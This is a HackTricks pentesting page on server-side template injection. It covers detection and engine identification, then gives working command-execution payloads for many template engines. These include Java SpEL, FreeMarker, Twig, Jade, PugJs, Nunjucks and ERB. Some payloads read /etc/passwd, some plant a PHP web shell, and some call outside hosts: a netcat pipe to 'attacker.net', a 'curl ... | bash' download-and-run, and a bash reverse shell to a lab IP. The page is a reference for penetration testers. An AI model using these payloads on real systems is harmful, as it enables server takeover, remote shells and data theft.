hacktricks/pentesting-web/ssti-server-side-template-injection/README.md

975 lines
42 KiB
Markdown
Raw Normal View History

2022-04-28 16:08:23 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>
2022-04-28 16:08:23 +00:00
# SSTI (Server Side Template Injection)
## What is server-side template injection?
A server-side template injection occurs when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side.
**Template engines** are designed to **generate web** pages by **combining** **fixed** templates with **volatile** data. Server-side template injection attacks can occur when **user input** is concatenated directly **into a template**, rather than passed in as data. This allows attackers to **inject arbitrary template directives** in order to manipulate the template engine, often enabling them to take **complete control of the server**.
An example of vulnerable code see the following one:
```php
$output = $twig->render("Dear " . $_GET['name']);
```
In the previous example **part of the template** itself is being **dynamically generated** using the `GET` parameter `name`. As template syntax is evaluated server-side, this potentially allows an attacker to place a server-side template injection payload inside the `name` parameter as follows:
```
http://vulnerable-website.com/?name={{bad-stuff-here}}
```
2022-04-28 16:08:23 +00:00
## Constructing a server-side template injection attack
2021-06-07 09:30:58 +00:00
![](../../.gitbook/assets/ssti-methodology-diagram.png)
2022-04-28 16:08:23 +00:00
### Detect
2022-02-03 12:18:21 +00:00
As with any vulnerability, the first step towards exploitation is being able to find it. Perhaps the simplest initial approach is to try **fuzzing the template** by injecting a sequence of special characters commonly used in template expressions, such as the polyglot **`${{<%[%'"}}%\`.**\
In order to check if the server is vulnerable you should **spot the differences** between the response with **regular data** on the parameter and the **given payload**.\
If an **error is thrown** it will be quiet easy to figure out that **the server is vulnerable** and even which **engine is running**. But you could also find a vulnerable server if you were **expecting** it to **reflect** the given payload and it is **not being reflected** or if there are some **missing chars** in the response.
2022-04-28 16:08:23 +00:00
#### Detect - Plaintext context
2021-09-05 17:02:06 +00:00
The given input is being **rendered and reflected** into the response. This is easily **mistaken for a simple** [**XSS**](../xss-cross-site-scripting/) vulnerability, but it's easy to differentiate if you try to set **mathematical operations** within a template expression:
```
{{7*7}}
${7*7}
<%= 7*7 %>
2021-06-25 20:23:31 +00:00
${{7*7}}
#{7*7}
```
2022-04-28 16:08:23 +00:00
#### Detect - Code context
In these cases the **user input** is being placed **within** a **template expression**:
```python
engine.render("Hello {{"+greeting+"}}", data)
```
The URL access that page could be similar to: `http://vulnerable-website.com/?greeting=data.username`
If you **change** the **`greeting`** parameter for a **different value** the **response won't contain the username**, but if you access something like: `http://vulnerable-website.com/?greeting=data.username}}hello` then, **the response will contain the username** (if the closing template expression chars were **`}}`**).\
If an **error** is thrown during these test, it will be easier to find that the server is vulnerable.
2022-04-28 16:08:23 +00:00
### Identify
Once you have detected the template injection potential, the next step is to identify the template engine.\
Although there are a huge number of templating languages, many of them use very similar syntax that is specifically chosen not to clash with HTML characters.
If you are lucky the server will be **printing the errors** and you will be able to find the **engine** used **inside** the errors. Some possible payloads that may cause errors:
| `${}` | `{{}}` | `<%= %>` |
| ----------- | ------------ | --------------- |
| `${7/0}` | `{{7/0}}` | `<%= 7/0 %>` |
| `${foobar}` | `{{foobar}}` | `<%= foobar %>` |
| `${7*7}` | `{{7*7}}` | \`\` |
Otherwise, you'll need to manually **test different language-specific payloads** and study how they are interpreted by the template engine. A common way of doing this is to inject arbitrary mathematical operations using syntax from different template engines. You can then observe whether they are successfully evaluated. To help with this process, you can use a decision tree similar to the following:
![](<../../.gitbook/assets/image (272).png>)
2022-04-28 16:08:23 +00:00
### Exploit
2022-04-28 16:08:23 +00:00
#### Read
The first step after finding template injection and identifying the template engine is to read the documentation. Key areas of interest are:
* 'For Template Authors' sections covering basic syntax.
* 'Security Considerations' - chances are whoever developed the app you're testing didn't read this, and it may contain some useful hints.
* Lists of builtin methods, functions, filters, and variables.
* Lists of extensions/plugins - some may be enabled by default.
2022-04-28 16:08:23 +00:00
#### Explore
Assuming no exploits have presented themselves, the next step is to **explore the environment** to find out exactly what **you have access to**. You can expect to find both **default objects** provided by the template engine, and **application-specific objects** passed in to the template by the developer. Many template systems expose a 'self' or namespace object containing everything in scope, and an idiomatic way to list an object's attributes and methods.
If there's no builtin self object you're going to have to bruteforce variable names using [SecLists](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt) and Burp Intruder's wordlist collection.
Developer-supplied objects are particularly likely to contain sensitive information, and may vary between different templates within an application, so this process should ideally be applied to every distinct template individually.
2022-04-28 16:08:23 +00:00
#### **Attack**
At this point you should have a **firm idea of the attack surface available** to you and be able to proceed with traditional security audit techniques, reviewing each function for exploitable vulnerabilities. It's important to approach this in the context of the wider application - some functions can be used to exploit application-specific features. The examples to follow will use template injection to trigger arbitrary object creation, arbitrary file read/write, remote file include, information disclosure and privilege escalation vulnerabilities.
2022-04-28 16:08:23 +00:00
## Tools
2021-06-25 12:34:30 +00:00
2022-04-28 16:08:23 +00:00
### [Tplmap](https://github.com/epinna/tplmap)
2021-06-25 12:34:30 +00:00
```python
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
```
2022-04-28 16:08:23 +00:00
## Exploits
2022-04-28 16:08:23 +00:00
### Generic
2021-06-27 20:19:16 +00:00
In this **wordlist** you can find **variables defined** in the environments of some of the engines mentioned below:
* [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
2022-04-28 16:08:23 +00:00
### Java
2021-06-25 12:34:30 +00:00
2022-04-28 16:08:23 +00:00
#### Java - Basic injection
2021-06-25 12:34:30 +00:00
```java
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
```
2022-04-28 16:08:23 +00:00
#### Java - Retrieve the systems environment variables
2021-06-25 12:34:30 +00:00
```java
${T(java.lang.System).getenv()}
```
2022-04-28 16:08:23 +00:00
#### Java - Retrieve /etc/passwd
2021-06-25 12:34:30 +00:00
```java
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
2022-04-28 16:08:23 +00:00
### FreeMarker (Java)
You can try your payloads at [https://try.freemarker.apache.org](https://try.freemarker.apache.org)
2021-06-25 12:34:30 +00:00
* `{{7*7}} = {{7*7}}`
* `${7*7} = 49`
2021-06-25 12:34:30 +00:00
* `#{7*7} = 49 -- (legacy)`
* `${7*'7'} Nothing`
* `${foobar}`
2021-06-25 12:34:30 +00:00
```java
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
```
2022-04-28 16:08:23 +00:00
#### Freemarker - Sandbox bypass
2021-06-25 12:34:30 +00:00
⚠️ only works on Freemarker versions below 2.3.30
```java
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
```
2022-04-28 16:08:23 +00:00
#### More information
* In FreeMarker section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker)
2022-04-28 16:08:23 +00:00
### Velocity (Java)
2021-06-25 12:34:30 +00:00
```java
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
```
2022-04-28 16:08:23 +00:00
#### More information
* In Velocity section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity)
2022-04-28 16:08:23 +00:00
### Thymeleaf (Java)
The typical test expression for SSTI is `${7*7}`. This expression works in Thymeleaf, too. If you want to achieve remote code execution, you can use one of the following test expressions:
* SpringEL: `${T(java.lang.Runtime).getRuntime().exec('calc')}`
* OGNL: `${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}`
However, as we mentioned before, expressions only work in special Thymeleaf attributes. If its necessary to use an expression in a different location in the template, Thymeleaf supports _expression inlining_. To use this feature, you must put an expression within `[[...]]` or `[(...)]` (select one or the other depending on whether you need to escape special symbols). Therefore, a simple SSTI detection payload for Thymeleaf would be `[[${7*7}]]`.
Chances that the above detection payload would work are, however, very low. SSTI vulnerabilities usually happen when a template is dynamically generated in the code. Thymeleaf, by default, doesnt allow such dynamically generated templates and all templates must be created earlier. Therefore, if a developer wants to create a template from a string _on the fly_, they would need to create their own TemplateResolver. This is possible but happens very rarely.
If we take a deeper look into the documentation of the Thymeleaf template engine, we will find an interesting feature called _**expression preprocessing**_. Expressions placed between double underscores (`__...__`) are preprocessed and the result of the preprocessing is used as part of the expression during regular processing. Here is an official example from Thymeleaf documentation:
2021-06-25 12:34:30 +00:00
```java
#{selection.__${sel.code}__}
```
2022-04-28 16:08:23 +00:00
#### Vulnerable example
```markup
<a th:href="@{__${path}__}" th:title="${title}">
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
```
2022-04-28 16:08:23 +00:00
#### More information
* [https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/)
2022-04-28 16:08:23 +00:00
### Spring View Manipulation (Java)
2020-09-22 09:07:48 +00:00
2021-06-25 12:34:30 +00:00
```java
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
```
2020-09-22 09:07:48 +00:00
[https://github.com/veracode-research/spring-view-manipulation](https://github.com/veracode-research/spring-view-manipulation)
2022-04-28 16:08:23 +00:00
### Pebble (Java)
2021-06-25 12:34:30 +00:00
* `{{ someString.toUPPERCASE() }}`
Old version of Pebble ( < version 3.0.9):
2021-06-25 12:34:30 +00:00
```java
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
```
New version of Pebble :
```java
2022-02-09 16:22:44 +00:00
{% raw %}
2021-06-25 12:34:30 +00:00
{% set cmd = 'id' %}
2022-02-09 16:22:44 +00:00
{% endraw %}
2022-04-06 08:57:29 +00:00
2022-04-06 16:21:07 +00:00
2022-04-28 15:47:13 +00:00
2021-06-25 12:34:30 +00:00
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
```
2022-04-28 16:08:23 +00:00
### Jinjava (Java)
2021-06-25 12:34:30 +00:00
```java
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
```
Jinjava is an open source project developed by Hubspot, available at [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)
2022-04-28 16:08:23 +00:00
#### Jinjava - Command execution
2021-06-25 12:34:30 +00:00
Fixed by [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)
```java
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
```
2022-04-28 16:08:23 +00:00
#### More information
2021-06-25 12:34:30 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava)
2021-06-25 12:34:30 +00:00
2022-04-28 16:08:23 +00:00
### Hubspot - HuBL (Java)
2021-06-26 13:19:42 +00:00
* `{% %}` statement delimiters
* `{{ }}` expression delimiters
* `{# #}` comment delimiters
2022-04-06 08:57:29 +00:00
* `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
2021-06-26 13:19:42 +00:00
* `{{'a'.toUpperCase()}}` - "A"
* `{{'a'.concat('b')}}` - "ab"
* `{{'a'.getClass()}}` - java.lang.String
* `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
2022-04-06 08:57:29 +00:00
* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
2021-06-26 13:19:42 +00:00
Search for "com.hubspot.content.hubl.context.TemplateContextRequest" and discovered the [Jinjava project on Github](https://github.com/HubSpot/jinjava/).
```java
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
2022-04-06 08:57:29 +00:00
//It was also possible to call methods on the created object by combining the
2022-04-06 16:21:07 +00:00
2022-04-28 15:47:13 +00:00
2022-04-06 08:57:29 +00:00
{% raw %}
2022-02-09 16:22:44 +00:00
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
2022-04-06 08:57:29 +00:00
{% endraw %}
{{ji.render('{{1*2}}')}}
2021-06-26 13:19:42 +00:00
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
2022-04-06 08:57:29 +00:00
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
2021-06-26 13:19:42 +00:00
```
2022-04-28 16:08:23 +00:00
#### More information
2021-06-26 13:19:42 +00:00
* [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)
2022-04-28 16:08:23 +00:00
### Expression Language - EL (Java)
2021-06-07 09:30:58 +00:00
2021-06-26 13:24:50 +00:00
* `${"aaaa"}` - "aaaa"
2022-04-05 22:24:52 +00:00
* `${99999+1}` - 100000.
2021-06-26 13:24:50 +00:00
* `#{7*7}` - 49
2021-06-26 14:55:22 +00:00
* `${{7*7}}` - 49
* `${{request}}, ${{session}}, {{faceContext}}`
2021-06-26 13:24:50 +00:00
EL provides an important mechanism for enabling the presentation layer (web pages) to communicate with the application logic (managed beans). The EL is used by **several JavaEE technologies**, such as JavaServer Faces technology, JavaServer Pages (JSP) technology, and Contexts and Dependency Injection for Java EE (CDI).\
2021-06-07 09:30:58 +00:00
Check the following page to learn more about the **exploitation of EL interpreters**:
{% content-ref url="el-expression-language.md" %}
[el-expression-language.md](el-expression-language.md)
{% endcontent-ref %}
2021-06-07 09:30:58 +00:00
2022-04-28 16:08:23 +00:00
### Smarty (PHP)
2021-06-07 09:30:58 +00:00
2021-06-25 12:34:30 +00:00
```php
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
```
2022-04-28 16:08:23 +00:00
#### More information
* In Smarty section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)
2022-04-28 16:08:23 +00:00
### Twig (PHP)
* `{{7*7}} = 49`
* `${7*7} = ${7*7}`
* `{{7*'7'}} = 49`
* `{{1/0}} = Error`
* `{{foobar}} Nothing`
2021-06-25 12:34:30 +00:00
```python
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
```
2022-04-28 16:08:23 +00:00
#### Twig - Template format
2021-06-25 12:34:30 +00:00
```php
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
```
2022-04-28 16:08:23 +00:00
#### More information
* In Twig and Twig (Sandboxed) section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)
2022-04-28 16:08:23 +00:00
### Jade (NodeJS)
2021-06-25 12:34:30 +00:00
```javascript
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
```
```javascript
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
```
2022-04-28 16:08:23 +00:00
#### More information
* In Jade section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen)
2022-04-28 16:08:23 +00:00
### Handlebars (NodeJS)
Path Traversal (more info [here](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
2021-02-03 09:46:19 +00:00
```bash
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
```
* \= Error
* ${7\*7} = ${7\*7}
* Nothing
2021-06-25 12:34:30 +00:00
```java
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
2021-09-30 07:38:27 +00:00
%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%72%6d%20%2f%68%6f%6d%65%2f%63%61%72%6c%6f%73%2f%6d%6f%72%61%6c%65%2e%74%78%74%27%29%3b%22%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%7b%7b%2f%77%69%74%68%7d%7d
```
2022-04-28 16:08:23 +00:00
#### More information
* [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)
2022-04-28 16:08:23 +00:00
### JsRender (NodeJS)
2020-12-01 16:50:24 +00:00
| **Template** | **Description** |
| ------------ | --------------------------------------- |
| | Evaluate and render output |
| | Evaluate and render HTML encoded output |
| | Comment |
| and | Allow code (disabled by default) |
2020-12-01 16:50:24 +00:00
* \= 49
2020-12-01 16:50:24 +00:00
2022-04-28 16:08:23 +00:00
#### Client Side
2020-12-01 16:50:24 +00:00
2021-06-25 12:34:30 +00:00
```python
2020-12-01 16:50:24 +00:00
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
```
2022-04-28 16:08:23 +00:00
#### Server Side
2020-12-01 16:50:24 +00:00
```bash
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
```
2022-04-28 16:08:23 +00:00
#### More information
2020-12-01 16:50:24 +00:00
* [https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/)
2022-04-28 16:08:23 +00:00
### PugJs (NodeJS)
2021-01-09 10:15:51 +00:00
2021-01-10 15:09:49 +00:00
* `#{7*7} = 49`
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}`
2021-12-16 22:42:47 +00:00
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}`
2021-01-10 15:09:49 +00:00
2022-04-28 16:08:23 +00:00
#### Example server side render
2021-01-10 15:09:49 +00:00
2021-06-25 12:34:30 +00:00
```javascript
2021-01-10 15:09:49 +00:00
var pugjs = require('pug');
home = pugjs.render(injected_page)
```
2021-01-09 10:15:51 +00:00
2022-04-28 16:08:23 +00:00
#### More information
2021-01-09 10:15:51 +00:00
* [https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/](https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/)
2022-04-28 16:08:23 +00:00
### NUNJUCKS (NodeJS) <a href="#nunjucks" id="nunjucks"></a>
2022-02-01 22:03:45 +00:00
2022-02-09 16:22:44 +00:00
* \{{7\*7\}} = 49
* \{{foo\}} = No output
2022-02-01 22:03:45 +00:00
* \#{7\*7} = #{7\*7}
2022-02-09 16:22:44 +00:00
* \{{console.log(1)\}} = Error
2022-02-01 22:03:45 +00:00
```javascript
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}
```
2022-04-28 16:08:23 +00:00
#### More information
2022-02-01 22:03:45 +00:00
* [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine)
2022-04-28 16:08:23 +00:00
### ERB (Ruby)
* `{{7*7}} = {{7*7}}`
* `${7*7} = ${7*7}`
* `<%= 7*7 %> = 49`
* `<%= foobar %> = Error`
2021-06-25 12:34:30 +00:00
```python
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
```
2022-04-28 16:08:23 +00:00
#### More information
2021-06-25 12:34:30 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
2021-06-25 12:34:30 +00:00
2022-04-28 16:08:23 +00:00
### Slim (Ruby)
2021-06-25 12:34:30 +00:00
* `{ 7 * 7 }`
```
2021-06-25 12:34:30 +00:00
{ %x|env| }
```
